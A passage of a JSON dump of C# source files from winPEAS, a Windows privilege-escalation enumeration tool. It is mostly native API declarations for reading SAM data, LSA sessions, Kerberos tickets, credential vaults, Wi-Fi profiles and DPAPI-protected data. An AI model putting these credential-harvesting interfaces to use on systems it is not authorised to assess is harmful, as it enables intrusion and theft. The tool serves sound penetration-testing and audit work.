Helpers.HandlesHelper.FILE_NAME_INFO lpFileInformation, uint dwBufferSize);\n\n        [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode)]\n        public static extern unsafe int GetFullPathName(string lpFileName, int nBufferLength, [Out, MarshalAs(UnmanagedType.LPTStr)] StringBuilder lpBuffer, [Out, MarshalAs(UnmanagedType.LPTStr)] StringBuilder lpFilePart);\n\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Native/Netapi32.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\nusing System.Security;\nusing winPEAS.Native.Enums;\n\nnamespace winPEAS.Native\n{\n    internal class Netapi32\n    {\n        [DllImport(\"Netapi32.dll\", CharSet = CharSet.Unicode, SetLastError = true)]\n        internal static extern int NetGetJoinInformation(string server, out IntPtr domain, out NetJoinStatus status);\n\n        //[DllImport(\"Netapi32.dll\")]\n        //internal static extern int NetApiBufferFree(IntPtr Buffer);\n\n        [DllImport(\"Netapi32\", CharSet = CharSet.Auto, SetLastError = true)]\n        internal static extern int NetServerGetInfo(string serverName, int level, out IntPtr pSERVER_INFO_XXX);\n\n        [DllImport(\"Netapi32\", CharSet = CharSet.Auto, SetLastError = true), SuppressUnmanagedCodeSecurity]\n        internal static extern int NetServerEnum(\n            [MarshalAs(UnmanagedType.LPWStr)] string servernane, // must be null\n            int level,\n            out IntPtr bufptr,\n            int prefmaxlen,\n            out int entriesread,\n            out int totalentries,\n            ServerTypes servertype,\n            [MarshalAs(UnmanagedType.LPWStr)] string domain, // null for login domain\n            IntPtr resume_handle // Must be IntPtr.Zero\n        );\n\n        [DllImport(\"Netapi32\", SetLastError = true), SuppressUnmanagedCodeSecurity]\n        internal static extern int NetApiBufferFree(IntPtr pBuf);\n\n        [DllImport(\"Netapi32.dll\")]\n        internal static extern uint NetUserEnum(\n            [MarshalAs(UnmanagedType.LPWStr)] string serverName,\n            uint level,\n            uint filter,\n            out IntPtr bufPtr,\n            uint preferredMaxLength,\n            out uint entriesRead,\n            out uint totalEntries,\n            out IntPtr resumeHandle);\n\n        [DllImport(\"netapi32.dll\", CharSet = CharSet.Unicode, SetLastError = true)]\n        internal static extern void NetFreeAadJoinInformation(IntPtr pJoinInfo);\n\n        [DllImport(\"netapi32.dll\", CharSet = CharSet.Unicode, SetLastError = true)]\n        internal static extern int NetGetAadJoinInformation(string pcszTenantId, out IntPtr ppJoinInfo);\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Native/Ntdll.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\n\nnamespace winPEAS.Native\n{\n    internal class Ntdll\n    {\n        [DllImport(\"ntdll.dll\")]\n        public static extern int NtQueryObject(IntPtr ObjectHandle, int ObjectInformationClass, IntPtr ObjectInformation, int ObjectInformationLength, ref int returnLength);\n\n        [DllImport(\"ntdll.dll\")]\n        public static extern uint NtQuerySystemInformation(int SystemInformationClass, IntPtr SystemInformation, int SystemInformationLength, ref int returnLength);\n\n        [DllImport(\"ntdll.dll\")]\n        internal static extern int NtQueryInformationProcess(IntPtr ProcessHandle, int ProcessInformationClass, IntPtr[] ProcessInformation, int ProcessInformationLength, ref int ReturnLength);\n\n        [DllImport(\"ntdll.dll\")]\n        internal static extern int NtQueryInformationThread(IntPtr hThread, int ThreadInformationClass, IntPtr[] ThreadInformation, int ThreadInformationLength, ref int ReturnLength);\n\n        [DllImport(\"ntdll.dll\")]\n        internal static extern int NtDuplicateObject(IntPtr hSourceProcessHandle, IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle, uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, ulong dwOptions);\n\n        [DllImport(\"ntdll.dll\")]\n        public static extern uint NtQueryKey(IntPtr KeyHandle, int KeyInformationClass, byte[] KeyInformation, int Length, ref int ResultLength);\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Native/Ntdsapi.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\nusing winPEAS.Native.Enums;\n\nnamespace winPEAS.Native\n{\n    internal class Ntdsapi\n    {\n        [DllImport(\"ntdsapi.dll\", CharSet = CharSet.Auto, PreserveSig = false)]\n        internal static extern void DsBind(\n            string DomainControllerName, // in, optional\n            string DnsDomainName, // in, optional\n            out IntPtr phDS);\n\n        [DllImport(\"ntdsapi.dll\", CharSet = CharSet.Auto)]\n        internal static extern uint DsCrackNames(\n            IntPtr hDS,\n            DS_NAME_FLAGS flags,\n            DS_NAME_FORMAT formatOffered,\n            DS_NAME_FORMAT formatDesired,\n            uint cNames,\n            [MarshalAs(UnmanagedType.LPArray, ArraySubType = UnmanagedType.LPTStr, SizeParamIndex = 4)] string[] rpNames,\n            out IntPtr ppResult);\n\n        [DllImport(\"ntdsapi.dll\", CharSet = CharSet.Auto)]\n        internal static extern void DsFreeNameResult(IntPtr pResult /* DS_NAME_RESULT* */);\n\n        [DllImport(\"ntdsapi.dll\", CharSet = CharSet.Auto)]\n        internal static extern uint DsUnBind(ref IntPtr phDS);\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Native/Psapi.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\nusing System.Text;\n\nnamespace winPEAS.Native\n{\n    internal class Psapi\n    {\n        [DllImport(\"psapi\")]\n        internal static extern bool EnumDeviceDrivers(\n            UIntPtr[] driversList,\n            UInt32 arraySizeBytes,\n            out UInt32 bytesNeeded\n        );\n\n        [DllImport(\"psapi\")]\n        internal static extern int GetDeviceDriverFileName(\n            UIntPtr baseAddr,\n            StringBuilder name,\n            UInt32 nameSize\n        );\n\n        [DllImport(\"psapi\")]\n        internal static extern int GetDeviceDriverBaseName(\n            UIntPtr baseAddr,\n            StringBuilder name,\n            UInt32 nameSize\n        );\n\n        [DllImport(\"psapi.dll\")]\n        internal static extern uint GetProcessImageFileName(\n            IntPtr hProcess,\n            [Out] StringBuilder lpImageFileName,\n            [In][MarshalAs(UnmanagedType.U4)] int nSize\n        );\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Native/Samlib.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\nusing winPEAS.Info.UserInfo.SAM;\nusing winPEAS.Native.Classes;\n\nnamespace winPEAS.Native\n{\n    internal class Samlib\n    {\n        [DllImport(\"samlib.dll\", CharSet = CharSet.Unicode)]\n        internal static extern NTSTATUS SamConnect(UNICODE_STRING ServerName, out IntPtr ServerHandle, SERVER_ACCESS_MASK DesiredAccess, IntPtr ObjectAttributes);\n\n        [DllImport(\"samlib.dll\", CharSet = CharSet.Unicode)]\n        internal static extern NTSTATUS SamCloseHandle(IntPtr ServerHandle);\n\n        [DllImport(\"samlib.dll\", CharSet = CharSet.Unicode)]\n        internal static extern NTSTATUS SamFreeMemory(IntPtr Handle);\n\n        [DllImport(\"samlib.dll\", CharSet = CharSet.Unicode)]\n        internal static extern NTSTATUS SamOpenDomain(IntPtr ServerHandle, DOMAIN_ACCESS_MASK DesiredAccess, byte[] DomainId, out IntPtr DomainHandle);\n\n        [DllImport(\"samlib.dll\", CharSet = CharSet.Unicode)]\n        internal static extern NTSTATUS SamLookupDomainInSamServer(IntPtr ServerHandle, UNICODE_STRING name, out IntPtr DomainId);\n\n        [DllImport(\"samlib.dll\", CharSet = CharSet.Unicode)]\n        internal static extern NTSTATUS SamQueryInformationDomain(IntPtr DomainHandle, DOMAIN_INFORMATION_CLASS DomainInformationClass, out IntPtr Buffer);\n\n        [DllImport(\"samlib.dll\", CharSet = CharSet.Unicode)]\n        internal static extern NTSTATUS SamSetInformationDomain(IntPtr DomainHandle, DOMAIN_INFORMATION_CLASS DomainInformationClass, IntPtr Buffer);\n\n        [DllImport(\"samlib.dll\", CharSet = CharSet.Unicode)]\n        internal static extern NTSTATUS SamEnumerateDomainsInSamServer(IntPtr ServerHandle, ref int EnumerationContext, out IntPtr EnumerationBuffer, int PreferedMaximumLength, out int CountReturned);\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Native/Secur32.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\nusing winPEAS.KnownFileCreds.Kerberos;\nusing winPEAS.KnownFileCreds.SecurityPackages;\n\nnamespace winPEAS.Native\n{\n    internal class Secur32\n    {\n        [DllImport(\"secur32.dll\", CharSet = CharSet.Unicode)]\n        internal static extern uint AcquireCredentialsHandle(\n            IntPtr pszPrincipal,\n            string pszPackage,\n            int fCredentialUse,\n            IntPtr PAuthenticationID,\n            IntPtr pAuthData,\n            int pGetKeyFn,\n            IntPtr pvGetKeyArgument,\n            ref SECURITY_HANDLE phCredential,\n            ref SecurityPackages.SECURITY_INTEGER ptsExpiry);\n\n        [DllImport(\"secur32.dll\", CharSet = CharSet.Unicode, SetLastError = true)]\n        internal static extern uint InitializeSecurityContext(\n            ref SECURITY_HANDLE phCredential,\n            IntPtr phContext,\n            IntPtr pszTargetName,\n            int fContextReq,\n            int Reserved1,\n            int TargetDataRep,\n            IntPtr pInput,\n            int Reserved2,\n            out SECURITY_HANDLE phNewContext,\n            out SecBufferDesc pOutput,\n            out uint pfContextAttr,\n            out SecurityPackages.SECURITY_INTEGER ptsExpiry);\n\n        [DllImport(\"secur32.dll\", CharSet = CharSet.Unicode, SetLastError = true)]\n        internal static extern uint InitializeSecurityContext(\n            ref SECURITY_HANDLE phCredential,\n            ref SECURITY_HANDLE phContext,\n            IntPtr pszTargetName,\n            int fContextReq,\n            int Reserved1,\n            int TargetDataRep,\n            ref SecBufferDesc pInput,\n            int Reserved2,\n            out SECURITY_HANDLE phNewContext,\n            out SecBufferDesc pOutput,\n            out uint pfContextAttr,\n            out SecurityPackages.SECURITY_INTEGER ptsExpiry);\n\n        [DllImport(\"secur32.dll\", SetLastError = true)]\n        internal static extern uint AcceptSecurityContext(\n            ref SECURITY_HANDLE phCredential,\n            IntPtr phContext,\n            ref SecBufferDesc pInput,\n            uint fContextReq,\n            uint TargetDataRep,\n            out SECURITY_HANDLE phNewContext,\n            out SecBufferDesc pOutput,\n            out uint pfContextAttr,\n            out SecurityPackages.SECURITY_INTEGER ptsTimeStamp);\n\n        [DllImport(\"secur32.dll\", SetLastError = true)]\n        internal static extern uint DeleteSecurityContext(ref SECURITY_HANDLE phCredential);\n\n        [DllImport(\"secur32.dll\", SetLastError = true)]\n        internal static extern uint FreeCredentialsHandle(ref SECURITY_HANDLE phCredential);\n\n        [DllImport(\"secur32.dll\", SetLastError = true)]\n        internal static extern int\n            LsaRegisterLogonProcess(LSA_STRING_IN LogonProcessName, out IntPtr LsaHandle, out ulong SecurityMode);\n\n        [DllImport(\"Secur32.dll\", SetLastError = false)]\n        internal static extern uint LsaEnumerateLogonSessions(out UInt64 LogonSessionCount, out IntPtr LogonSessionList);\n\n        [DllImport(\"Secur32.dll\", SetLastError = false)]\n        internal static extern uint LsaGetLogonSessionData(IntPtr luid, out IntPtr ppLogonSessionData);\n\n        [DllImport(\"secur32.dll\", SetLastError = false)]\n        internal static extern int LsaLookupAuthenticationPackage([In] IntPtr LsaHandle, [In] ref LSA_STRING_IN PackageName, [Out] out int AuthenticationPackage);\n\n        [DllImport(\"secur32.dll\", SetLastError = false)]\n        internal static extern int LsaCallAuthenticationPackage(IntPtr LsaHandle, int AuthenticationPackage, ref KERB_QUERY_TKT_CACHE_REQUEST ProtocolSubmitBuffer, int SubmitBufferLength, out IntPtr ProtocolReturnBuffer, out int ReturnBufferLength, out int ProtocolStatus);\n\n        [DllImport(\"secur32.dll\", SetLastError = false)]\n        internal static extern uint LsaFreeReturnBuffer(IntPtr buffer);\n\n        [DllImport(\"secur32.dll\", SetLastError = false)]\n        internal static extern int LsaConnectUntrusted([Out] out IntPtr LsaHandle);\n\n        [DllImport(\"secur32.dll\", SetLastError = false)]\n        internal static extern int LsaDeregisterLogonProcess([In] IntPtr LsaHandle);\n\n        [DllImport(\"secur32.dll\", EntryPoint = \"LsaCallAuthenticationPackage\", SetLastError = false)]\n        internal static extern int LsaCallAuthenticationPackage_KERB_RETRIEVE_TKT(IntPtr LsaHandle, int AuthenticationPackage, ref KERB_RETRIEVE_TKT_REQUEST ProtocolSubmitBuffer, int SubmitBufferLength, out IntPtr ProtocolReturnBuffer, out int ReturnBufferLength, out int ProtocolStatus);\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Native/Structs/DSREG_JOIN_INFO.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\n\nnamespace winPEAS.Native.Structs\n{\n    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]\n    public struct DSREG_JOIN_INFO\n    {\n        public int joinType;\n        public IntPtr pJoinCertificate;\n        [MarshalAs(UnmanagedType.LPWStr)] public string DeviceId;\n        [MarshalAs(UnmanagedType.LPWStr)] public string IdpDomain;\n        [MarshalAs(UnmanagedType.LPWStr)] public string TenantId;\n        [MarshalAs(UnmanagedType.LPWStr)] public string JoinUserEmail;\n        [MarshalAs(UnmanagedType.LPWStr)] public string TenantDisplayName;\n        [MarshalAs(UnmanagedType.LPWStr)] public string MdmEnrollmentUrl;\n        [MarshalAs(UnmanagedType.LPWStr)] public string MdmTermsOfUseUrl;\n        [MarshalAs(UnmanagedType.LPWStr)] public string MdmComplianceUrl;\n        [MarshalAs(UnmanagedType.LPWStr)] public string UserSettingSyncUrl;\n        public IntPtr pUserInfo;\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Native/Structs/DSREG_USER_INFO.cs",
    "content": "﻿using System.Runtime.InteropServices;\n\nnamespace winPEAS.Native.Structs\n{\n    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]\n    public struct DSREG_USER_INFO\n    {\n        [MarshalAs(UnmanagedType.LPWStr)] public string UserEmail;\n        [MarshalAs(UnmanagedType.LPWStr)] public string UserKeyId;\n        [MarshalAs(UnmanagedType.LPWStr)] public string UserKeyName;\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Native/Structs/LUID.cs",
    "content": "﻿using System.Runtime.InteropServices;\n\nnamespace winPEAS.Native.Structs\n{\n    [StructLayout(LayoutKind.Sequential, Pack = 1)]\n    public struct LUID\n    {\n        public uint LowPart;\n        public int HighPart;\n\n        public static LUID FromName(string name, string systemName = null)\n        {\n            LUID val;\n            if (!Advapi32.LookupPrivilegeValue(systemName, name, out val))\n                throw new System.ComponentModel.Win32Exception();\n            return val;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Native/Structs/LUID_AND_ATTRIBUTES.cs",
    "content": "﻿using System.Runtime.InteropServices;\nusing winPEAS.Native.Enums;\n\nnamespace winPEAS.Native.Structs\n{\n    [StructLayout(LayoutKind.Sequential, Pack = 1)]\n    public struct LUID_AND_ATTRIBUTES\n    {\n        public LUID Luid;\n        public PrivilegeAttributes Attributes;\n\n        public LUID_AND_ATTRIBUTES(LUID luid, PrivilegeAttributes attr)\n        {\n            Luid = luid;\n            Attributes = attr;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Native/Structs/LastInputInfo.cs",
    "content": "﻿namespace winPEAS.Native.Structs\n{\n    internal struct LastInputInfo\n    {\n        public uint Size;\n        public uint Time;\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Native/Structs/PRIVILEGE_SET.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\n\nnamespace winPEAS.Native.Structs\n{\n    [StructLayout(LayoutKind.Sequential)]\n    public struct PRIVILEGE_SET : IDisposable\n    {\n        public uint PrivilegeCount;\n        public uint Control;\n        public IntPtr Privilege;\n\n        public PRIVILEGE_SET(uint control, params LUID_AND_ATTRIBUTES[] privileges)\n        {\n            PrivilegeCount = (uint)privileges.Length;\n            Control = control;\n            Privilege = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(LUID_AND_ATTRIBUTES)) * (int)PrivilegeCount);\n            for (int i = 0; i < PrivilegeCount; i++)\n                Marshal.StructureToPtr(privileges[i], (IntPtr)((int)Privilege + (Marshal.SizeOf(typeof(LUID_AND_ATTRIBUTES)) * i)), false);\n        }\n\n        public void Dispose()\n        {\n            Marshal.FreeHGlobal(Privilege);\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Native/Structs/SID_AND_ATTRIBUTES.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\n\nnamespace winPEAS.Native.Structs\n{\n    [StructLayout(LayoutKind.Sequential)]\n    public struct SID_AND_ATTRIBUTES\n    {\n        public IntPtr Sid;\n        public UInt32 Attributes;\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Native/Structs/TOKEN_ELEVATION.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\n\nnamespace winPEAS.Native.Structs\n{\n    [StructLayout(LayoutKind.Sequential)]\n    public struct TOKEN_ELEVATION\n    {\n        public Int32 TokenIsElevated;\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Native/Structs/TOKEN_MANDATORY_LABEL.cs",
    "content": "﻿using System.Runtime.InteropServices;\n\nnamespace winPEAS.Native.Structs\n{\n    [StructLayout(LayoutKind.Sequential)]\n    public struct TOKEN_MANDATORY_LABEL\n    {\n        public SID_AND_ATTRIBUTES Label;\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Native/Structs/TOKEN_PRIVILEGES.cs",
    "content": "﻿using System.Runtime.InteropServices;\nusing winPEAS.Native.Enums;\n\nnamespace winPEAS.Native.Structs\n{\n\n    [StructLayout(LayoutKind.Sequential, Pack = 1)]\n    public struct TOKEN_PRIVILEGES\n    {\n        public uint PrivilegeCount;\n        public LUID_AND_ATTRIBUTES Privileges;\n\n        public TOKEN_PRIVILEGES(LUID luid, PrivilegeAttributes attribute)\n        {\n            PrivilegeCount = 1;\n            Privileges.Luid = luid;\n            Privileges.Attributes = attribute;\n        }\n\n        public static uint SizeInBytes => (uint)Marshal.SizeOf(typeof(TOKEN_PRIVILEGES));\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Native/Structs/USER_INFO_3.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\n\nnamespace winPEAS.Native.Structs\n{\n    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]\n    public struct USER_INFO_3\n    {\n        [MarshalAs(UnmanagedType.LPWStr)] public string name;\n        [MarshalAs(UnmanagedType.LPWStr)] public string password;\n        public uint passwordAge;\n        public uint priv;\n        [MarshalAs(UnmanagedType.LPWStr)] public string home_dir;\n        [MarshalAs(UnmanagedType.LPWStr)] public string comment;\n        public uint flags;\n        [MarshalAs(UnmanagedType.LPWStr)] public string script_path;\n        public uint auth_flags;\n        [MarshalAs(UnmanagedType.LPWStr)] public string full_name;\n        [MarshalAs(UnmanagedType.LPWStr)] public string usr_comment;\n        [MarshalAs(UnmanagedType.LPWStr)] public string parms;\n        [MarshalAs(UnmanagedType.LPWStr)] public string workstations;\n        public uint last_logon;\n        public uint last_logoff;\n        public uint acct_expires;\n        public uint max_storage;\n        public uint units_per_week;\n        public IntPtr logon_hours;\n        public uint bad_pw_count;\n        public uint num_logons;\n        [MarshalAs(UnmanagedType.LPWStr)] public string logon_server;\n        public uint country_code;\n        public uint code_page;\n        public uint user_id;\n        public uint primary_group_id;\n        [MarshalAs(UnmanagedType.LPWStr)] public string profile;\n        [MarshalAs(UnmanagedType.LPWStr)] public string home_dir_drive;\n        public uint password_expired;\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Native/User32.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\nusing System.Text;\nusing winPEAS.Native.Structs;\n\nnamespace winPEAS.Native\n{\n    internal class User32\n    {\n        // https://stackoverflow.com/questions/115868/how-do-i-get-the-title-of-the-current-active-window-using-c\n        [DllImport(\"user32.dll\")]\n        internal static extern IntPtr GetForegroundWindow();\n\n        [DllImport(\"user32.dll\")]\n        internal static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);\n        [DllImport(\"User32.dll\")]\n        public static extern bool GetLastInputInfo(ref LastInputInfo lastInputInfo);\n\n        [DllImport(\"user32.dll\")]\n        public static extern bool SetProcessDPIAware();\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Native/Vaultcli.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\n\nnamespace winPEAS.Native\n{\n    internal class Vaultcli\n    {\n        // pulled directly from @djhohnstein's SharpWeb project: https://github.com/djhohnstein/SharpWeb/blob/master/Edge/SharpEdge.cs                                   \n\n        [DllImport(\"vaultcli.dll\")]\n        internal extern static Int32 VaultOpenVault(ref Guid vaultGuid, UInt32 offset, ref IntPtr vaultHandle);\n\n        [DllImport(\"vaultcli.dll\")]\n        internal extern static Int32 VaultEnumerateVaults(Int32 offset, ref Int32 vaultCount, ref IntPtr vaultGuid);\n\n        [DllImport(\"vaultcli.dll\")]\n        internal extern static Int32 VaultEnumerateItems(IntPtr vaultHandle, Int32 chunkSize, ref Int32 vaultItemCount, ref IntPtr vaultItem);\n\n        [DllImport(\"vaultcli.dll\", EntryPoint = \"VaultGetItem\")]\n        internal extern static Int32 VaultGetItem_WIN8(IntPtr vaultHandle, ref Guid schemaId, IntPtr pResourceElement, IntPtr pIdentityElement, IntPtr pPackageSid, IntPtr zero, Int32 arg6, ref IntPtr passwordVaultPtr);\n\n        [DllImport(\"vaultcli.dll\", EntryPoint = \"VaultGetItem\")]\n        internal extern static Int32 VaultGetItem_WIN7(IntPtr vaultHandle, ref Guid schemaId, IntPtr pResourceElement, IntPtr pIdentityElement, IntPtr zero, Int32 arg5, ref IntPtr passwordVaultPtr);\n\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Native/WlanApi.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\nusing winPEAS.Wifi.NativeWifiApi;\n\nnamespace winPEAS.Native\n{\n    internal class WlanApi\n    {\n        [DllImport(\"wlanapi.dll\")]\n        internal static extern int WlanOpenHandle(\n            [In] UInt32 clientVersion,\n            [In, Out] IntPtr pReserved,\n            [Out] out UInt32 negotiatedVersion,\n            [Out] out IntPtr clientHandle);\n\n        [DllImport(\"wlanapi.dll\")]\n        internal static extern int WlanCloseHandle(\n            [In] IntPtr clientHandle,\n            [In, Out] IntPtr pReserved);\n\n        [DllImport(\"wlanapi.dll\")]\n        internal static extern int WlanEnumInterfaces(\n            [In] IntPtr clientHandle,\n            [In, Out] IntPtr pReserved,\n            [Out] out IntPtr ppInterfaceList);\n\n        /// <param name=\"flags\">Not supported on Windows XP SP2: must be a <c>null</c> reference.</param>\n        [DllImport(\"wlanapi.dll\")]\n        internal static extern int WlanGetProfile(\n            [In] IntPtr clientHandle,\n            [In, MarshalAs(UnmanagedType.LPStruct)] Guid interfaceGuid,\n            [In, MarshalAs(UnmanagedType.LPWStr)] string profileName,\n            [In] IntPtr pReserved,\n            [Out] out IntPtr profileXml,\n            [Out, Optional] out WlanProfileFlags flags,\n            [Out, Optional] out WlanAccess grantedAccess);\n\n        [DllImport(\"wlanapi.dll\")]\n        internal static extern int WlanGetProfileList(\n            [In] IntPtr clientHandle,\n            [In, MarshalAs(UnmanagedType.LPStruct)] Guid interfaceGuid,\n            [In] IntPtr pReserved,\n            [Out] out IntPtr profileList\n        );\n\n        [DllImport(\"wlanapi.dll\")]\n        internal static extern void WlanFreeMemory(IntPtr pMemory);\n\n        [DllImport(\"wlanapi.dll\")]\n        internal static extern int WlanConnect(\n            [In] IntPtr clientHandle,\n            [In, MarshalAs(UnmanagedType.LPStruct)] Guid interfaceGuid,\n            [In] ref WlanConnectionParameters connectionParameters,\n            IntPtr pReserved);\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Native/Wtsapi32.cs",
    "content": "﻿\nusing System;\nusing System.Runtime.InteropServices;\nusing winPEAS.Native.Enums;\n\nnamespace winPEAS.Native\n{\n    internal class Wtsapi32\n    {\n        [DllImport(\"wtsapi32.dll\")]\n        internal static extern void WTSCloseServer(IntPtr hServer);\n\n\n        [DllImport(\"Wtsapi32.dll\", SetLastError = true)]\n        internal static extern bool WTSQuerySessionInformation(\n            IntPtr hServer,\n            uint sessionId,\n            WTS_INFO_CLASS wtsInfoClass,\n            out IntPtr ppBuffer,\n            out uint pBytesReturned\n        );\n\n        [DllImport(\"wtsapi32.dll\", SetLastError = true)]\n        internal static extern IntPtr WTSOpenServer([MarshalAs(UnmanagedType.LPStr)] String pServerName);\n\n        [DllImport(\"wtsapi32.dll\", SetLastError = true)]\n        internal static extern Int32 WTSEnumerateSessionsEx(\n            IntPtr hServer,\n            [MarshalAs(UnmanagedType.U4)] ref Int32 pLevel,\n            [MarshalAs(UnmanagedType.U4)] Int32 Filter,\n            ref IntPtr ppSessionInfo,\n            [MarshalAs(UnmanagedType.U4)] ref Int32 pCount);\n\n        [DllImport(\"wtsapi32.dll\")]\n        internal static extern void WTSFreeMemory(IntPtr pMemory);\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Native/crypt32.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\nusing System.Text;\n\nnamespace winPEAS.Native\n{\n    internal class Crypt32\n    {\n        // P/Invoke declaration for CryptUnprotectData\n        [StructLayout(LayoutKind.Sequential)]\n        public struct DATA_BLOB\n        {\n            public int cbData;\n            public IntPtr pbData;\n        }\n\n        [DllImport(\"crypt32.dll\", SetLastError = true, CharSet = CharSet.Unicode)]\n        public static extern bool CryptUnprotectData(\n            ref DATA_BLOB pDataIn,\n            StringBuilder ppszDataDescr,\n            ref DATA_BLOB pOptionalEntropy,\n            IntPtr pvReserved,\n            IntPtr pPromptStruct,\n            int dwFlags,\n            ref DATA_BLOB pDataOut);\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Program.cs",
    "content": "﻿using System;\n\n\nnamespace winPEAS\n{\n    public static class Program\n    {\n        // Static blacklists        \n        //static string goodSoft = \"Windows Phone Kits|Windows Kits|Windows Defender|Windows Mail|Windows Media Player|Windows Multimedia Platform|windows nt|Windows Photo Viewer|Windows Portable Devices|Windows Security|Windows Sidebar|WindowsApps|WindowsPowerShell| Windows$|Microsoft|WOW6432Node|internet explorer|Internet Explorer|Common Files\";                       \n\n        [STAThread]\n        public static void Main(string[] args)\n        {\n            // TODO: keep Main minimal; this line was an intentional break in test PR.\n            Checks.Checks.Run(args);\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Properties/AssemblyInfo.cs",
    "content": "﻿using System.Reflection;\nusing System.Runtime.InteropServices;\n\n// General Information about an assembly is controlled through the following\n// set of attributes. Change these attribute values to modify the information\n// associated with an assembly.\n[assembly: AssemblyTitle(\"\")]\n[assembly: AssemblyDescription(\"\")]\n[assembly: AssemblyConfiguration(\"\")]\n[assembly: AssemblyCompany(\"\")]\n[assembly: AssemblyProduct(\"\")]\n[assembly: AssemblyCopyright(\"\")]\n[assembly: AssemblyTrademark(\"\")]\n[assembly: AssemblyCulture(\"\")]\n\n// Setting ComVisible to false makes the types in this assembly not visible\n// to COM components.  If you need to access a type in this assembly from\n// COM, set the ComVisible attribute to true on that type.\n[assembly: ComVisible(false)]\n\n// The following GUID is for the ID of the typelib if this project is exposed to COM\n[assembly: Guid(\"1928358e-a64b-493f-a741-ae8e3d029374\")]\n\n// Version information for an assembly consists of the following four values:\n//\n//      Major Version\n//      Minor Version\n//      Build Number\n//      Revision\n//\n// You can specify all the values or you can default the Build and Revision Numbers\n// by using the '*' as shown below:\n// [assembly: AssemblyVersion(\"1.0.*\")]\n[assembly: AssemblyVersion(\"1.0.0.0\")]\n[assembly: AssemblyFileVersion(\"1.0.0.0\")]\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Properties/Resources.Designer.cs",
    "content": "﻿//------------------------------------------------------------------------------\n// <auto-generated>\n//     This code was generated by a tool.\n//     Runtime Version:4.0.30319.42000\n//\n//     Changes to this file may cause incorrect behavior and will be lost if\n//     the code is regenerated.\n// </auto-generated>\n//------------------------------------------------------------------------------\n\nnamespace winPEAS.Properties {\n    using System;\n    \n    \n    /// <summary>\n    ///   A strongly-typed resource class, for looking up localized strings, etc.\n    /// </summary>\n    // This class was auto-generated by the StronglyTypedResourceBuilder\n    // class via a tool like ResGen or Visual Studio.\n    // To add or remove a member, edit your .ResX file then rerun ResGen\n    // with the /str option, or rebuild your VS project.\n    [global::System.CodeDom.Compiler.GeneratedCodeAttribute(\"System.Resources.Tools.StronglyTypedResourceBuilder\", \"16.0.0.0\")]\n    [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]\n    [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]\n    internal class Resources {\n        \n        private static global::System.Resources.ResourceManager resourceMan;\n        \n        private static global::System.Globalization.CultureInfo resourceCulture;\n        \n        [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute(\"Microsoft.Performance\", \"CA1811:AvoidUncalledPrivateCode\")]\n        internal Resources() {\n        }\n        \n        /// <summary>\n        ///   Returns the cached ResourceManager instance used by this class.\n        /// </summary>\n        [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]\n        internal static global::System.Resources.ResourceManager ResourceManager {\n            get {\n                if (object.ReferenceEquals(resourceMan, null)) {\n                    global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager(\"winPEAS.Properties.Resources\", 